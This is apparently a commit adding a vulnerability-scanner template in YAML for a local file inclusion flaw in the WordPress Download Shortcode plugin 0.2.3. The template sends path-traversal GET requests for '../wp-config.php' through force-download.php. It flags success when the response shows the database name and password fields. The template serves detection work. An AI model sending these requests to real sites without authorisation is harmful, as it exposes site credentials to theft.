Create shortcode-lfi.yaml

patch-1
Dhiyaneshwaran 2022-02-12 22:30:51 +05:30 committed by GitHub
parent 96c42781c3
commit a10ff8f997
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 30 additions and 0 deletions

View File

@ -0,0 +1,30 @@
id: shortcode-lfi
info:
name: WordPress Plugin Download Shortcode Local File Inclusion (0.2.3)
author: dhiyaneshDK
severity: high
description: WordPress Plugin Download Shortcode is prone to a local file inclusion vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin Download Shortcode version 0.2.3 is vulnerable; prior versions may also be affected.
reference:
- https://packetstormsecurity.com/files/128024/WordPress-ShortCode-1.1-Local-File-Inclusion.html
tags: wordpress,wp-plugin,lfi
requests:
- method: GET
path:
- '{{BaseURL}}/wp/wp-content/force-download.php?file=../wp-config.php'
- '{{BaseURL}}/wp-content/force-download.php?file=../wp-config.php'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- "DB_NAME"
- "DB_PASSWORD"
part: body
condition: and
- type: status
status:
- 200